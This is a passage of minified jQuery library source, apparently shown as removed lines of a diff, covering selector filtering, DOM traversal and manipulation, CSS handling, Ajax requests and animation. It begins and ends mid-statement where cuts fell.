-0}},ID:function(g,h){return g.nodeType===1&&g.getAttribute("id")===h},TAG:function(g,h){return h==="*"&&g.nodeType===1||g.nodeName.toLowerCase()===h},CLASS:function(g,h){return(" "+(g.className||g.getAttribute("class"))+" ").indexOf(h)>-1},ATTR:function(g,h){var k=h[1];g=m.attrHandle[k]?m.attrHandle[k](g):g[k]!=null?g[k]:g.getAttribute(k);k=g+"";var l=h[2];h=h[4];return g==null?l==="!=":l==="="?k===h:l==="*="?k.indexOf(h)>=0:l==="~="?(" "+k+" ").indexOf(h)>=0:!h?k&&g!==false:l==="!="?k!==h:l==="^="?
-k.indexOf(h)===0:l==="$="?k.substr(k.length-h.length)===h:l==="|="?k===h||k.substr(0,h.length+1)===h+"-":false},POS:function(g,h,k,l){var q=m.setFilters[h[2]];if(q)return q(g,k,h,l)}}},s=m.match.POS;for(var x in m.match){m.match[x]=new RegExp(m.match[x].source+/(?![^\[]*\])(?![^\(]*\))/.source);m.leftMatch[x]=new RegExp(/(^(?:.|\r|\n)*?)/.source+m.match[x].source.replace(/\\(\d+)/g,function(g,h){return"\\"+(h-0+1)}))}var A=function(g,h){g=Array.prototype.slice.call(g,0);if(h){h.push.apply(h,g);return h}return g};
-try{Array.prototype.slice.call(r.documentElement.childNodes,0)}catch(B){A=function(g,h){h=h||[];if(i.call(g)==="[object Array]")Array.prototype.push.apply(h,g);else if(typeof g.length==="number")for(var k=0,l=g.length;k<l;k++)h.push(g[k]);else for(k=0;g[k];k++)h.push(g[k]);return h}}var C;if(r.documentElement.compareDocumentPosition)C=function(g,h){if(!g.compareDocumentPosition||!h.compareDocumentPosition){if(g==h)j=true;return g.compareDocumentPosition?-1:1}g=g.compareDocumentPosition(h)&4?-1:g===
-h?0:1;if(g===0)j=true;return g};else if("sourceIndex"in r.documentElement)C=function(g,h){if(!g.sourceIndex||!h.sourceIndex){if(g==h)j=true;return g.sourceIndex?-1:1}g=g.sourceIndex-h.sourceIndex;if(g===0)j=true;return g};else if(r.createRange)C=function(g,h){if(!g.ownerDocument||!h.ownerDocument){if(g==h)j=true;return g.ownerDocument?-1:1}var k=g.ownerDocument.createRange(),l=h.ownerDocument.createRange();k.setStart(g,0);k.setEnd(g,0);l.setStart(h,0);l.setEnd(h,0);g=k.compareBoundaryPoints(Range.START_TO_END,
-l);if(g===0)j=true;return g};(function(){var g=r.createElement("div"),h="script"+(new Date).getTime();g.innerHTML="<a name='"+h+"'/>";var k=r.documentElement;k.insertBefore(g,k.firstChild);if(r.getElementById(h)){m.find.ID=function(l,q,p){if(typeof q.getElementById!=="undefined"&&!p)return(q=q.getElementById(l[1]))?q.id===l[1]||typeof q.getAttributeNode!=="undefined"&&q.getAttributeNode("id").nodeValue===l[1]?[q]:v:[]};m.filter.ID=function(l,q){var p=typeof l.getAttributeNode!=="undefined"&&l.getAttributeNode("id");
-return l.nodeType===1&&p&&p.nodeValue===q}}k.removeChild(g);k=g=null})();(function(){var g=r.createElement("div");g.appendChild(r.createComment(""));if(g.getElementsByTagName("*").length>0)m.find.TAG=function(h,k){k=k.getElementsByTagName(h[1]);if(h[1]==="*"){h=[];for(var l=0;k[l];l++)k[l].nodeType===1&&h.push(k[l]);k=h}return k};g.innerHTML="<a href='#'></a>";if(g.firstChild&&typeof g.firstChild.getAttribute!=="undefined"&&g.firstChild.getAttribute("href")!=="#")m.attrHandle.href=function(h){return h.getAttribute("href",
-2)};g=null})();r.querySelectorAll&&function(){var g=o,h=r.createElement("div");h.innerHTML="<p class='TEST'></p>";if(!(h.querySelectorAll&&h.querySelectorAll(".TEST").length===0)){o=function(l,q,p,u){q=q||r;if(!u&&q.nodeType===9&&!w(q))try{return A(q.querySelectorAll(l),p)}catch(t){}return g(l,q,p,u)};for(var k in g)o[k]=g[k];h=null}}();(function(){var g=r.createElement("div");g.innerHTML="<div class='test e'></div><div class='test'></div>";if(!(!g.getElementsByClassName||g.getElementsByClassName("e").length===
-0)){g.lastChild.className="e";if(g.getElementsByClassName("e").length!==1){m.order.splice(1,0,"CLASS");m.find.CLASS=function(h,k,l){if(typeof k.getElementsByClassName!=="undefined"&&!l)return k.getElementsByClassName(h[1])};g=null}}})();var E=r.compareDocumentPosition?function(g,h){return g.compareDocumentPosition(h)&16}:function(g,h){return g!==h&&(g.contains?g.contains(h):true)},w=function(g){return(g=(g?g.ownerDocument||g:0).documentElement)?g.nodeName!=="HTML":false},fa=function(g,h){var k=[],
-l="",q;for(h=h.nodeType?[h]:h;q=m.match.PSEUDO.exec(g);){l+=q[0];g=g.replace(m.match.PSEUDO,"")}g=m.relative[g]?g+"*":g;q=0;for(var p=h.length;q<p;q++)o(g,h[q],k);return o.filter(l,k)};c.find=o;c.expr=o.selectors;c.expr[":"]=c.expr.filters;c.unique=o.uniqueSort;c.getText=a;c.isXMLDoc=w;c.contains=E})();var bb=/Until$/,cb=/^(?:parents|prevUntil|prevAll)/,db=/,/;Q=Array.prototype.slice;var Ea=function(a,b,d){if(c.isFunction(b))return c.grep(a,function(e,i){return!!b.call(e,i,e)===d});else if(b.nodeType)return c.grep(a,
-function(e){return e===b===d});else if(typeof b==="string"){var f=c.grep(a,function(e){return e.nodeType===1});if(Qa.test(b))return c.filter(b,f,!d);else b=c.filter(b,f)}return c.grep(a,function(e){return c.inArray(e,b)>=0===d})};c.fn.extend({find:function(a){for(var b=this.pushStack("","find",a),d=0,f=0,e=this.length;f<e;f++){d=b.length;c.find(a,this[f],b);if(f>0)for(var i=d;i<b.length;i++)for(var j=0;j<d;j++)if(b[j]===b[i]){b.splice(i--,1);break}}return b},has:function(a){var b=c(a);return this.filter(function(){for(var d=
-0,f=b.length;d<f;d++)if(c.contains(this,b[d]))return true})},not:function(a){return this.pushStack(Ea(this,a,false),"not",a)},filter:function(a){return this.pushStack(Ea(this,a,true),"filter",a)},is:function(a){return!!a&&c.filter(a,this).length>0},closest:function(a,b){if(c.isArray(a)){var d=[],f=this[0],e,i={},j;if(f&&a.length){e=0;for(var n=a.length;e<n;e++){j=a[e];i[j]||(i[j]=c.expr.match.POS.test(j)?c(j,b||this.context):j)}for(;f&&f.ownerDocument&&f!==b;){for(j in i){e=i[j];if(e.jquery?e.index(f)>
--1:c(f).is(e)){d.push({selector:j,elem:f});delete i[j]}}f=f.parentNode}}return d}var o=c.expr.match.POS.test(a)?c(a,b||this.context):null;return this.map(function(m,s){for(;s&&s.ownerDocument&&s!==b;){if(o?o.index(s)>-1:c(s).is(a))return s;s=s.parentNode}return null})},index:function(a){if(!a||typeof a==="string")return c.inArray(this[0],a?c(a):this.parent().children());return c.inArray(a.jquery?a[0]:a,this)},add:function(a,b){a=typeof a==="string"?c(a,b||this.context):c.makeArray(a);b=c.merge(this.get(),
-a);return this.pushStack(pa(a[0])||pa(b[0])?b:c.unique(b))},andSelf:function(){return this.add(this.prevObject)}});c.each({parent:function(a){return(a=a.parentNode)&&a.nodeType!==11?a:null},parents:function(a){return c.dir(a,"parentNode")},parentsUntil:function(a,b,d){return c.dir(a,"parentNode",d)},next:function(a){return c.nth(a,2,"nextSibling")},prev:function(a){return c.nth(a,2,"previousSibling")},nextAll:function(a){return c.dir(a,"nextSibling")},prevAll:function(a){return c.dir(a,"previousSibling")},
-nextUntil:function(a,b,d){return c.dir(a,"nextSibling",d)},prevUntil:function(a,b,d){return c.dir(a,"previousSibling",d)},siblings:function(a){return c.sibling(a.parentNode.firstChild,a)},children:function(a){return c.sibling(a.firstChild)},contents:function(a){return c.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:c.makeArray(a.childNodes)}},function(a,b){c.fn[a]=function(d,f){var e=c.map(this,b,d);bb.test(a)||(f=d);if(f&&typeof f==="string")e=c.filter(f,e);e=this.length>1?c.unique(e):
-e;if((this.length>1||db.test(f))&&cb.test(a))e=e.reverse();return this.pushStack(e,a,Q.call(arguments).join(","))}});c.extend({filter:function(a,b,d){if(d)a=":not("+a+")";return c.find.matches(a,b)},dir:function(a,b,d){var f=[];for(a=a[b];a&&a.nodeType!==9&&(d===v||a.nodeType!==1||!c(a).is(d));){a.nodeType===1&&f.push(a);a=a[b]}return f},nth:function(a,b,d){b=b||1;for(var f=0;a;a=a[d])if(a.nodeType===1&&++f===b)break;return a},sibling:function(a,b){for(var d=[];a;a=a.nextSibling)a.nodeType===1&&a!==
-b&&d.push(a);return d}});var Fa=/ jQuery\d+="(?:\d+|null)"/g,V=/^\s+/,Ga=/(<([\w:]+)[^>]*?)\/>/g,eb=/^(?:area|br|col|embed|hr|img|input|link|meta|param)$/i,Ha=/<([\w:]+)/,fb=/<tbody/i,gb=/<|&\w+;/,sa=/checked\s*(?:[^=]|=\s*.checked.)/i,Ia=function(a,b,d){return eb.test(d)?a:b+"></"+d+">"},F={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],
-col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]};F.optgroup=F.option;F.tbody=F.tfoot=F.colgroup=F.caption=F.thead;F.th=F.td;if(!c.support.htmlSerialize)F._default=[1,"div<div>","</div>"];c.fn.extend({text:function(a){if(c.isFunction(a))return this.each(function(b){var d=c(this);d.text(a.call(this,b,d.text()))});if(typeof a!=="object"&&a!==v)return this.empty().append((this[0]&&this[0].ownerDocument||r).createTextNode(a));return c.getText(this)},
-wrapAll:function(a){if(c.isFunction(a))return this.each(function(d){c(this).wrapAll(a.call(this,d))});if(this[0]){var b=c(a,this[0].ownerDocument).eq(0).clone(true);this[0].parentNode&&b.insertBefore(this[0]);b.map(function(){for(var d=this;d.firstChild&&d.firstChild.nodeType===1;)d=d.firstChild;return d}).append(this)}return this},wrapInner:function(a){if(c.isFunction(a))return this.each(function(b){c(this).wrapInner(a.call(this,b))});return this.each(function(){var b=c(this),d=b.contents();d.length?
-d.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){c(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){c.nodeName(this,"body")||c(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,
-false,function(b){this.parentNode.insertBefore(b,this)});else if(arguments.length){var a=c(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,this.nextSibling)});else if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,c(arguments[0]).toArray());return a}},clone:function(a){var b=this.map(function(){if(!c.support.noCloneEvent&&
-!c.isXMLDoc(this)){var d=this.outerHTML,f=this.ownerDocument;if(!d){d=f.createElement("div");d.appendChild(this.cloneNode(true));d=d.innerHTML}return c.clean([d.replace(Fa,"").replace(V,"")],f)[0]}else return this.cloneNode(true)});if(a===true){qa(this,b);qa(this.find("*"),b.find("*"))}return b},html:function(a){if(a===v)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(Fa,""):null;else if(typeof a==="string"&&!/<script/i.test(a)&&(c.support.leadingWhitespace||!V.test(a))&&!F[(Ha.exec(a)||
-["",""])[1].toLowerCase()]){a=a.replace(Ga,Ia);try{for(var b=0,d=this.length;b<d;b++)if(this[b].nodeType===1){c.cleanData(this[b].getElementsByTagName("*"));this[b].innerHTML=a}}catch(f){this.empty().append(a)}}else c.isFunction(a)?this.each(function(e){var i=c(this),j=i.html();i.empty().append(function(){return a.call(this,e,j)})}):this.empty().append(a);return this},replaceWith:function(a){if(this[0]&&this[0].parentNode){if(c.isFunction(a))return this.each(function(b){var d=c(this),f=d.html();d.replaceWith(a.call(this,
-b,f))});else a=c(a).detach();return this.each(function(){var b=this.nextSibling,d=this.parentNode;c(this).remove();b?c(b).before(a):c(d).append(a)})}else return this.pushStack(c(c.isFunction(a)?a():a),"replaceWith",a)},detach:function(a){return this.remove(a,true)},domManip:function(a,b,d){function f(s){return c.nodeName(s,"table")?s.getElementsByTagName("tbody")[0]||s.appendChild(s.ownerDocument.createElement("tbody")):s}var e,i,j=a[0],n=[];if(!c.support.checkClone&&arguments.length===3&&typeof j===
-"string"&&sa.test(j))return this.each(function(){c(this).domManip(a,b,d,true)});if(c.isFunction(j))return this.each(function(s){var x=c(this);a[0]=j.call(this,s,b?x.html():v);x.domManip(a,b,d)});if(this[0]){e=a[0]&&a[0].parentNode&&a[0].parentNode.nodeType===11?{fragment:a[0].parentNode}:ra(a,this,n);if(i=e.fragment.firstChild){b=b&&c.nodeName(i,"tr");for(var o=0,m=this.length;o<m;o++)d.call(b?f(this[o],i):this[o],e.cacheable||this.length>1||o>0?e.fragment.cloneNode(true):e.fragment)}n&&c.each(n,
-Ma)}return this}});c.fragments={};c.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){c.fn[a]=function(d){var f=[];d=c(d);for(var e=0,i=d.length;e<i;e++){var j=(e>0?this.clone(true):this).get();c.fn[b].apply(c(d[e]),j);f=f.concat(j)}return this.pushStack(f,a,d.selector)}});c.each({remove:function(a,b){if(!a||c.filter(a,[this]).length){if(!b&&this.nodeType===1){c.cleanData(this.getElementsByTagName("*"));c.cleanData([this])}this.parentNode&&
-this.parentNode.removeChild(this)}},empty:function(){for(this.nodeType===1&&c.cleanData(this.getElementsByTagName("*"));this.firstChild;)this.removeChild(this.firstChild)}},function(a,b){c.fn[a]=function(){return this.each(b,arguments)}});c.extend({clean:function(a,b,d,f){b=b||r;if(typeof b.createElement==="undefined")b=b.ownerDocument||b[0]&&b[0].ownerDocument||r;var e=[];c.each(a,function(i,j){if(typeof j==="number")j+="";if(j){if(typeof j==="string"&&!gb.test(j))j=b.createTextNode(j);else if(typeof j===
-"string"){j=j.replace(Ga,Ia);var n=(Ha.exec(j)||["",""])[1].toLowerCase(),o=F[n]||F._default,m=o[0];i=b.createElement("div");for(i.innerHTML=o[1]+j+o[2];m--;)i=i.lastChild;if(!c.support.tbody){m=fb.test(j);n=n==="table"&&!m?i.firstChild&&i.firstChild.childNodes:o[1]==="<table>"&&!m?i.childNodes:[];for(o=n.length-1;o>=0;--o)c.nodeName(n[o],"tbody")&&!n[o].childNodes.length&&n[o].parentNode.removeChild(n[o])}!c.support.leadingWhitespace&&V.test(j)&&i.insertBefore(b.createTextNode(V.exec(j)[0]),i.firstChild);
-j=c.makeArray(i.childNodes)}if(j.nodeType)e.push(j);else e=c.merge(e,j)}});if(d)for(a=0;e[a];a++)if(f&&c.nodeName(e[a],"script")&&(!e[a].type||e[a].type.toLowerCase()==="text/javascript"))f.push(e[a].parentNode?e[a].parentNode.removeChild(e[a]):e[a]);else{e[a].nodeType===1&&e.splice.apply(e,[a+1,0].concat(c.makeArray(e[a].getElementsByTagName("script"))));d.appendChild(e[a])}return e},cleanData:function(a){for(var b=0,d;(d=a[b])!=null;b++){c.event.remove(d);c.removeData(d)}}});var hb=/z-?index|font-?weight|opacity|zoom|line-?height/i,
-Ja=/alpha\([^)]*\)/,Ka=/opacity=([^)]*)/,ga=/float/i,ha=/-([a-z])/ig,ib=/([A-Z])/g,jb=/^-?\d+(?:px)?$/i,kb=/^-?\d/,lb={position:"absolute",visibility:"hidden",display:"block"},mb=["Left","Right"],nb=["Top","Bottom"],ob=r.defaultView&&r.defaultView.getComputedStyle,La=c.support.cssFloat?"cssFloat":"styleFloat",ia=function(a,b){return b.toUpperCase()};c.fn.css=function(a,b){return X(this,a,b,true,function(d,f,e){if(e===v)return c.curCSS(d,f);if(typeof e==="number"&&!hb.test(f))e+="px";c.style(d,f,e)})};
-c.extend({style:function(a,b,d){if(!a||a.nodeType===3||a.nodeType===8)return v;if((b==="width"||b==="height")&&parseFloat(d)<0)d=v;var f=a.style||a,e=d!==v;if(!c.support.opacity&&b==="opacity"){if(e){f.zoom=1;b=parseInt(d,10)+""==="NaN"?"":"alpha(opacity="+d*100+")";a=f.filter||c.curCSS(a,"filter")||"";f.filter=Ja.test(a)?a.replace(Ja,b):b}return f.filter&&f.filter.indexOf("opacity=")>=0?parseFloat(Ka.exec(f.filter)[1])/100+"":""}if(ga.test(b))b=La;b=b.replace(ha,ia);if(e)f[b]=d;return f[b]},css:function(a,
-b,d,f){if(b==="width"||b==="height"){var e,i=b==="width"?mb:nb;function j(){e=b==="width"?a.offsetWidth:a.offsetHeight;f!=="border"&&c.each(i,function(){f||(e-=parseFloat(c.curCSS(a,"padding"+this,true))||0);if(f==="margin")e+=parseFloat(c.curCSS(a,"margin"+this,true))||0;else e-=parseFloat(c.curCSS(a,"border"+this+"Width",true))||0})}a.offsetWidth!==0?j():c.swap(a,lb,j);return Math.max(0,Math.round(e))}return c.curCSS(a,b,d)},curCSS:function(a,b,d){var f,e=a.style;if(!c.support.opacity&&b==="opacity"&&
-a.currentStyle){f=Ka.test(a.currentStyle.filter||"")?parseFloat(RegExp.$1)/100+"":"";return f===""?"1":f}if(ga.test(b))b=La;if(!d&&e&&e[b])f=e[b];else if(ob){if(ga.test(b))b="float";b=b.replace(ib,"-$1").toLowerCase();e=a.ownerDocument.defaultView;if(!e)return null;if(a=e.getComputedStyle(a,null))f=a.getPropertyValue(b);if(b==="opacity"&&f==="")f="1"}else if(a.currentStyle){d=b.replace(ha,ia);f=a.currentStyle[b]||a.currentStyle[d];if(!jb.test(f)&&kb.test(f)){b=e.left;var i=a.runtimeStyle.left;a.runtimeStyle.left=
-a.currentStyle.left;e.left=d==="fontSize"?"1em":f||0;f=e.pixelLeft+"px";e.left=b;a.runtimeStyle.left=i}}return f},swap:function(a,b,d){var f={};for(var e in b){f[e]=a.style[e];a.style[e]=b[e]}d.call(a);for(e in b)a.style[e]=f[e]}});if(c.expr&&c.expr.filters){c.expr.filters.hidden=function(a){var b=a.offsetWidth,d=a.offsetHeight,f=a.nodeName.toLowerCase()==="tr";return b===0&&d===0&&!f?true:b>0&&d>0&&!f?false:c.curCSS(a,"display")==="none"};c.expr.filters.visible=function(a){return!c.expr.filters.hidden(a)}}var pb=
-J(),qb=/<script(.|\s)*?\/script>/gi,rb=/select|textarea/i,sb=/color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week/i,N=/=\?(&|$)/,ja=/\?/,tb=/(\?|&)_=.*?(&|$)/,ub=/^(\w+:)?\/\/([^\/?#]+)/,vb=/%20/g;c.fn.extend({_load:c.fn.load,load:function(a,b,d){if(typeof a!=="string")return this._load(a);else if(!this.length)return this;var f=a.indexOf(" ");if(f>=0){var e=a.slice(f,a.length);a=a.slice(0,f)}f="GET";if(b)if(c.isFunction(b)){d=b;b=null}else if(typeof b==="object"){b=
-c.param(b,c.ajaxSettings.traditional);f="POST"}var i=this;c.ajax({url:a,type:f,dataType:"html",data:b,complete:function(j,n){if(n==="success"||n==="notmodified")i.html(e?c("<div />").append(j.responseText.replace(qb,"")).find(e):j.responseText);d&&i.each(d,[j.responseText,n,j])}});return this},serialize:function(){return c.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?c.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&
-(this.checked||rb.test(this.nodeName)||sb.test(this.type))}).map(function(a,b){a=c(this).val();return a==null?null:c.isArray(a)?c.map(a,function(d){return{name:b.name,value:d}}):{name:b.name,value:a}}).get()}});c.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){c.fn[b]=function(d){return this.bind(b,d)}});c.extend({get:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b=null}return c.ajax({type:"GET",url:a,data:b,success:d,dataType:f})},getScript:function(a,
-b){return c.get(a,null,b,"script")},getJSON:function(a,b,d){return c.get(a,b,d,"json")},post:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b={}}return c.ajax({type:"POST",url:a,data:b,success:d,dataType:f})},ajaxSetup:function(a){c.extend(c.ajaxSettings,a)},ajaxSettings:{url:location.href,global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:z.XMLHttpRequest&&(z.location.protocol!=="file:"||!z.ActiveXObject)?function(){return new z.XMLHttpRequest}:
-function(){try{return new z.ActiveXObject("Microsoft.XMLHTTP")}catch(a){}},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},etag:{},ajax:function(a){function b(){e.success&&e.success.call(o,n,j,w);e.global&&f("ajaxSuccess",[w,e])}function d(){e.complete&&e.complete.call(o,w,j);e.global&&f("ajaxComplete",[w,e]);e.global&&!--c.active&&c.event.trigger("ajaxStop")}
-function f(q,p){(e.context?c(e.context):c.event).trigger(q,p)}var e=c.extend(true,{},c.ajaxSettings,a),i,j,n,o=a&&a.context||e,m=e.type.toUpperCase();if(e.data&&e.processData&&typeof e.data!=="string")e.data=c.param(e.data,e.traditional);if(e.dataType==="jsonp"){if(m==="GET")N.test(e.url)||(e.url+=(ja.test(e.url)?"&":"?")+(e.jsonp||"callback")+"=?");else if(!e.data||!N.test(e.data))e.data=(e.data?e.data+"&":"")+(e.jsonp||"callback")+"=?";e.dataType="json"}if(e.dataType==="json"&&(e.data&&N.test(e.data)||
-N.test(e.url))){i=e.jsonpCallback||"jsonp"+pb++;if(e.data)e.data=(e.data+"").replace(N,"="+i+"$1");e.url=e.url.replace(N,"="+i+"$1");e.dataType="script";z[i]=z[i]||function(q){n=q;b();d();z[i]=v;try{delete z[i]}catch(p){}A&&A.removeChild(B)}}if(e.dataType==="script"&&e.cache===null)e.cache=false;if(e.cache===false&&m==="GET"){var s=J(),x=e.url.replace(tb,"$1_="+s+"$2");e.url=x+(x===e.url?(ja.test(e.url)?"&":"?")+"_="+s:"")}if(e.data&&m==="GET")e.url+=(ja.test(e.url)?"&":"?")+e.data;e.global&&!c.active++&&
-c.event.trigger("ajaxStart");s=(s=ub.exec(e.url))&&(s[1]&&s[1]!==location.protocol||s[2]!==location.host);if(e.dataType==="script"&&m==="GET"&&s){var A=r.getElementsByTagName("head")[0]||r.documentElement,B=r.createElement("script");B.src=e.url;if(e.scriptCharset)B.charset=e.scriptCharset;if(!i){var C=false;B.onload=B.onreadystatechange=function(){if(!C&&(!this.readyState||this.readyState==="loaded"||this.readyState==="complete")){C=true;b();d();B.onload=B.onreadystatechange=null;A&&B.parentNode&&
-A.removeChild(B)}}}A.insertBefore(B,A.firstChild);return v}var E=false,w=e.xhr();if(w){e.username?w.open(m,e.url,e.async,e.username,e.password):w.open(m,e.url,e.async);try{if(e.data||a&&a.contentType)w.setRequestHeader("Content-Type",e.contentType);if(e.ifModified){c.lastModified[e.url]&&w.setRequestHeader("If-Modified-Since",c.lastModified[e.url]);c.etag[e.url]&&w.setRequestHeader("If-None-Match",c.etag[e.url])}s||w.setRequestHeader("X-Requested-With","XMLHttpRequest");w.setRequestHeader("Accept",
-e.dataType&&e.accepts[e.dataType]?e.accepts[e.dataType]+", */*":e.accepts._default)}catch(fa){}if(e.beforeSend&&e.beforeSend.call(o,w,e)===false){e.global&&!--c.active&&c.event.trigger("ajaxStop");w.abort();return false}e.global&&f("ajaxSend",[w,e]);var g=w.onreadystatechange=function(q){if(!w||w.readyState===0||q==="abort"){E||d();E=true;if(w)w.onreadystatechange=c.noop}else if(!E&&w&&(w.readyState===4||q==="timeout")){E=true;w.onreadystatechange=c.noop;j=q==="timeout"?"timeout":!c.httpSuccess(w)?
-"error":e.ifModified&&c.httpNotModified(w,e.url)?"notmodified":"success";var p;if(j==="success")try{n=c.httpData(w,e.dataType,e)}catch(u){j="parsererror";p=u}if(j==="success"||j==="notmodified")i||b();else c.handleError(e,w,j,p);d();q==="timeout"&&w.abort();if(e.async)w=null}};try{var h=w.abort;w.abort=function(){w&&h.call(w);g("abort")}}catch(k){}e.async&&e.timeout>0&&setTimeout(function(){w&&!E&&g("timeout")},e.timeout);try{w.send(m==="POST"||m==="PUT"||m==="DELETE"?e.data:null)}catch(l){c.handleError(e,
-w,null,l);d()}e.async||g();return w}},handleError:function(a,b,d,f){if(a.error)a.error.call(a.context||a,b,d,f);if(a.global)(a.context?c(a.context):c.event).trigger("ajaxError",[b,a,f])},active:0,httpSuccess:function(a){try{return!a.status&&location.protocol==="file:"||a.status>=200&&a.status<300||a.status===304||a.status===1223||a.status===0}catch(b){}return false},httpNotModified:function(a,b){var d=a.getResponseHeader("Last-Modified"),f=a.getResponseHeader("Etag");if(d)c.lastModified[b]=d;if(f)c.etag[b]=
-f;return a.status===304||a.status===0},httpData:function(a,b,d){var f=a.getResponseHeader("content-type")||"",e=b==="xml"||!b&&f.indexOf("xml")>=0;a=e?a.responseXML:a.responseText;e&&a.documentElement.nodeName==="parsererror"&&c.error("parsererror");if(d&&d.dataFilter)a=d.dataFilter(a,b);if(typeof a==="string")if(b==="json"||!b&&f.indexOf("json")>=0)a=c.parseJSON(a);else if(b==="script"||!b&&f.indexOf("javascript")>=0)c.globalEval(a);return a},param:function(a,b){function d(j,n){if(c.isArray(n))c.each(n,
-function(o,m){b?f(j,m):d(j+"["+(typeof m==="object"||c.isArray(m)?o:"")+"]",m)});else!b&&n!=null&&typeof n==="object"?c.each(n,function(o,m){d(j+"["+o+"]",m)}):f(j,n)}function f(j,n){n=c.isFunction(n)?n():n;e[e.length]=encodeURIComponent(j)+"="+encodeURIComponent(n)}var e=[];if(b===v)b=c.ajaxSettings.traditional;if(c.isArray(a)||a.jquery)c.each(a,function(){f(this.name,this.value)});else for(var i in a)d(i,a[i]);return e.join("&").replace(vb,"+")}});var ka={},wb=/toggle|show|hide/,xb=/^([+-]=)?([\d+-.]+)(.*)$/,
-W,ta=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];c.fn.extend({show:function(a,b){if(a||a===0)return this.animate(K("show",3),a,b);else{a=0;for(b=this.length;a<b;a++){var d=c.data(this[a],"olddisplay");this[a].style.display=d||"";if(c.css(this[a],"display")==="none"){d=this[a].nodeName;var f;if(ka[d])f=ka[d];else{var e=c("<"+d+" />").appendTo("body");f=e.css("display");if(f==="none")f="block";e.remove();
-ka[d]=f}c.data(this[a],"olddisplay",f)}}a=0;for(b=this.length;a<b;a++)this[a].style.display=c.data(this[a],"olddisplay")||"";return this}},hide:function(a,b){if(a||a===0)return this.animate(K("hide",3),a,b);else{a=0;for(b=this.length;a<b;a++){var d=c.data(this[a],"olddisplay");!d&&d!=="none"&&c.data(this[a],"olddisplay",c.css(this[a],"display"))}a=0;for(b=this.length;a<b;a++)this[a].style.display="none";return this}},_toggle:c.fn.toggle,toggle:function(a,b){var d=typeof a==="boolean";if(c.isFunction(a)&&
-c.isFunction(b))this._toggle.apply(this,arguments);else a==null||d?this.each(function(){var f=d?a:c(this).is(":hidden");c(this)[f?"show":"hide"]()}):this.animate(K("toggle",3),a,b);return this},fadeTo:function(a,b,d){return this.filter(":hidden").css("opacity",0).show().end().animate({opacity:b},a,d)},animate:function(a,b,d,f){var e=c.speed(b,d,f);if(c.isEmptyObject(a))return this.each(e.complete);return this[e.queue===false?"each":"queue"](function(){var i=c.extend({},e),j,n=this.nodeType===1&&c(this).is(":hidden"),
-o=this;for(j in a){var m=j.replace(ha,ia);if(j!==m){a[m]=a[j];delete a[j];j=m}if(a[j]==="hide"&&n||a[j]==="show"&&!n)return i.complete.call(this);if((j==="height"||j==="width")&&this.style){i.display=c.css(this,"display");i.overflow=this.style.overflow}if(c.isArray(a[j])){(i.specialEasing=i.specialEasing||{})[j]=a[j][1];a[j]=a[j][0]}}if(i.overflow!=null)this.style.overflow="hidden";i.curAnim=c.extend({},a);c.each(a,function(s,x){var A=new c.fx(o,i,s);if(wb.test(x))A[x==="toggle"?n?"show":"hide":x](a);
-else{var B=xb.exec(x),C=A.cur(true)||0;if(B){x=parseFloat(B[2]);var E=B[3]||"px";if(E!=="px"){o.style[s]=(x||1)+E;C=(x||1)/A.cur(true)*C;o.style[s]=C+E}if(B[1])x=(B[1]==="-="?-1:1)*x+C;A.custom(C,x,E)}else A.custom(C,x,"")}});return true})},stop:function(a,b){var d=c.timers;a&&this.queue([]);this.each(function(){for(var f=d.length-1;f>=0;f--)if(d[f].elem===this){b&&d[f](true);d.splice(f,1)}});b||this.dequeue();return this}});c.each({slideDown:K("show",1),slideUp:K("hide",1),slideToggle:K("toggle",
-1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(a,b){c.fn[a]=function(d,f){return this.animate(b,d,f)}});c.extend({speed:function(a,b,d){var f=a&&typeof a==="object"?a:{complete:d||!d&&b||c.isFunction(a)&&a,duration:a,easing:d&&b||b&&!c.isFunction(b)&&b};f.duration=c.fx.off?0:typeof f.duration==="number"?f.duration:c.fx.speeds[f.duration]||c.fx.speeds._default;f.old=f.complete;f.complete=function(){f.queue!==false&&c(this).dequeue();c.isFunction(f.old)&&f.old.call(this)};return f},easing:{linear:function(a,
-b,d,f){return d+f*a},swing:function(a,b,d,f){return(-Math.cos(a*Math.PI)/2+0.5)*f+d}},timers:[],fx:function(a,b,d){this.options=b;this.elem=a;this.prop=d;if(!b.orig)b.orig={}}});c.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this);(c.fx.step[this.prop]||c.fx.step._default)(this);if((this.prop==="height"||this.prop==="width")&&this.elem.style)this.elem.style.display="block"},cur:function(a){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==
